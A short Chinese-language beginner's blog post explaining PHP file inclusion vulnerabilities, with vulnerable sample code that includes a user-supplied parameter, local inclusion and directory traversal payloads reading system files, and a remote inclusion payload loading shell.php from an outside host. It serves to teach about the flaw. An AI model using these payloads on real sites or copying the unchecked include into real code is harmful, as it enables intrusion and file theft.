美文网首页
文件包含

文件包含

作者: liugensite | 来源:发表于2018-09-06 13:24 被阅读0次

    本文作者是一个白的不能再白的小白的写的,自身的水平有限,本着分享的态度,如遇到不对的地方,希望大家多多提意见。

    文件包含漏洞

    PHP文件包含漏洞是由于在通过PHP函数引入文件时没有经过安全校验,从而对预想之外的进行了操作,可能造成文件泄露和恶意代码的恶意执行。

    下面来看一段index.php示例代码;

    <?php

    if ($_GET['func']) {

    include $_GET['func']; }

    else { include 'default.php'; }

    ?>

    程序的本意是调用某个功能界面,假设整个网站中有一个userinfo.php的文件,此时可以通过url:http://xxx.test.com/index.php?func=userinfo.php,调用userinfo.php的内容和功能。如果func没有参数传入,则默认调用default.php的功能和作用。

    但是此代码被骇客(黑客最初是一个褒义词,只不过现在慢慢变了味道)看到,假设此站点还有上传功能,黑客通过上传恶意代码hack.php,便可以通过本地包含url:http://xxx.test.com/index.php?func=/upload/document/hack.php,访问。

    普通本地包含

    以如下代码为例:

    <?php

    include($_GET['file'];

    ?>

    包含同目录下的文件: ?file=./flag.txt

    目录遍历:?file=../../../../../../../../

    在linux系统中,cd .. 代表返回上级目录。例如可以通过file=../../../../../../../../../var/lib/mlocate/mlocate.db,读取所有文件的存储路径,但是需要root权限。

    普通远程文件包含

    远程代码执行:?file=[http|https|ftp]://example.com/shell.php(需要开启allow_url_fopen和allow_url_include)这样就可以执行shell,从而控制程序了。

    相关文章

      网友评论

          本文标题:文件包含

          本文链接:https://www.haomeiwen.com/subject/apytgftx.html